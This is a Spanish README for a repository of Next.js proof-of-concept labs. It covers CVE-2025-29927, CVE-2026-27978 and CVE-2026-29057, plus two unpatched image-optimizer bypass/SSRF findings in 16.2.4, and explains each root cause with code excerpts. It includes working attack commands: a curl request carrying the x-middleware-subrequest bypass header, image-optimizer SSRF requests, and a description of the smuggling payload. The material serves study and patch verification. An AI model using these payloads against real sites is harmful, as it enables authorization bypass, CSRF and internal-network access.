
Algunas Pruebas de Concepto (POCs) para CVE-2025-29927, CVE-2026-27978 y CVE-2026-29057 en Next.js.
Este repositorio contiene entornos de prueba de concepto reproducibles para tres vulnerabilidades de Next.js. Cada PoC incluye un objetivo vulnerable, un objetivo corregido y un script que demuestra la diferencia de comportamiento entre ambos.
El objetivo de este proyecto es facilitar la observación de la causa raíz y el impacto práctico de cada problema en un entorno mínimo.
| CVE | Aviso | Impacto | Versión vulnerable | Versión corregida |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | omisión de autorización cuando el control de acceso se basa únicamente en middleware | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | omisión de las comprobaciones CSRF de Server Actions mediante Origin: null | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | contrabando de solicitudes HTTP a través de reescrituras hacia un backend externo | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | hallazgo de auditoría de código fuente local | omisión de la lista permitida remota del optimizador de imágenes mediante redirecciones | 16.2.4 | no verificado |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | hallazgo de auditoría de código fuente local | la URL local del optimizador de imágenes puede alcanzar un upstream privado mediante reescrituras externas | 16.2.4 | no verificado |
Los hashes siguientes están tomados del upstream vercel/next.js.
| CVE | Commit de lanzamiento vulnerable | Commit de lanzamiento corregido | Commit de parche relevante |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose esté disponible.docker compose up --build
Puertos expuestos:
3001 -> CVE-2025-29927 vulnerable3002 -> CVE-2025-29927 corregido3003 -> CVE-2026-27978 vulnerable3004 -> CVE-2026-27978 corregido3005 -> CVE-2026-29057 vulnerable3006 -> CVE-2026-29057 corregido3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEEn este PoC, /dashboard está protegido únicamente por middleware:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
La comprobación de autorización en sí no es incorrecta. El problema es que la ruta depende por completo de la suposición de que la ejecución del middleware no se puede omitir.
En las versiones afectadas de Next.js, las solicitudes externas aún podían proporcionar la cabecera interna x-middleware-subrequest, y el runtime trataba ese valor como metadatos de middleware de confianza. La lógica vulnerable relevante era:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest no se filtraba allí, por lo que la entrada controlada por el atacante podía llegar al runtime del middleware. Ese valor se usaba después para derivar la profundidad de recursión:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
Si un atacante envía middleware:middleware:middleware:middleware:middleware, el runtime puede concluir que la profundidad de recursión ya se ha alcanzado y reenviar la solicitud sin ejecutar el middleware de la aplicación.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
Comportamiento esperado:
3001 devuelve una redirección sin la cabecera del exploit, pero devuelve 200 OK con x-middleware-subrequest.3002 sigue redirigiendo a /login porque la cabecera interna ya no se considera de confianza cuando proviene de entrada externa.Este PoC expone una Server Action normal que cambia el estado del lado del servidor:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
El problema no está en transferFunds() en sí. El comportamiento vulnerable estaba en la validación CSRF de Next.js para Server Actions. En las versiones afectadas, Origin: null se trataba como un origen ausente en lugar de un origen opaco explícito:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
Debido a que 'null' se convertía en undefined, las solicitudes desde orígenes opacos, como los iframes con sandbox, podían evitar la ruta de comparación host/origin y aun así procesarse con las cookies de la víctima adjuntas.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
Comportamiento esperado:
Origin: nullEste PoC reescribe /rewrites/:path* hacia un backend externo:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
El comportamiento vulnerable estaba en la dependencia http-proxy incorporada (vendored) que Next.js usa para las reescrituras. En las versiones afectadas, la lógica del proxy para las solicitudes DELETE y OPTIONS podía añadir content-length: 0 y eliminar transfer-encoding:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
Eso generaba una discrepancia en los límites de la solicitud entre la cadena de proxy y el backend cuando se reenviaba una solicitud fragmentada (chunked) manipulada. Como resultado, una segunda solicitud podía pasarse de contrabando al backend a través de la misma conexión.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
Comportamiento esperado:
DELETE /rewrites/poc fragmentada (chunked) en bruto que contiene un GET /secret de contrabandoDELETE /rewrites/poc como GET /secretEjemplo de salida observado:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
El código fuente local de next.js-16.2.4 valida images.remotePatterns solo para el parámetro url original en ImageOptimizerCache.validateParams():
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
La ruta de obtención de red (fetch) sigue entonces las redirecciones de forma recursiva en fetchExternalImage():
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
Esa llamada recursiva mantiene la comprobación de IP privada, pero no recibe ni vuelve a aplicar domains / remotePatterns. Por lo tanto, un origen de imágenes permitido y configurado puede redirigir al optimizador a un origen público diferente que no superaría la lista permitida de imágenes original.
El PoC utiliza servicios de localhost y establece dangerouslyAllowLocalIP: true únicamente para poder reproducir el comportamiento de la lista permitida sin infraestructura externa. La lista permitida de imágenes configurada solo permite http://127.0.0.1:4100/allowed/**; ese servidor redirige a http://127.0.0.1:4200/blocked/private.png, y el segundo servidor registra si fue alcanzado.
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
Comportamiento esperado:
41004200, que está fuera de images.remotePatterns4200 registra GET /blocked/private.pngcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
Usa el script proporcionado, porque el campo de Server Action lo genera dinámicamente el servidor.
Usa el script proporcionado, porque el exploit depende de un payload TCP en bruto con una segunda solicitud de contrabando.
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
Para una URL de imagen local, ImageOptimizerCache.validateParams() valida solo la ruta local (pathname) contra images.localPatterns:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
La ruta de obtención interna vuelve a entrar entonces en el manejador de solicitudes de Next.js:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
Si la ruta local coincidente está configurada como una reescritura externa, la solicitud puede enviarse a través de proxy a ese destino externo. Esta ruta no llama a fetchExternalImage(), por lo que la protección de IP privada utilizada para las URL de imagen absolutas no se aplica al destino reescrito.
La configuración del PoC permite solo URL de imagen locales bajo /allowed/** y luego reescribe esa ruta a http://127.0.0.1:4300/private/:path*:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
Comportamiento esperado:
/allowed/secret.png porque coincide con images.localPatternshttp://127.0.0.1:4300/private/secret.pngGET /private/secret.pngcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state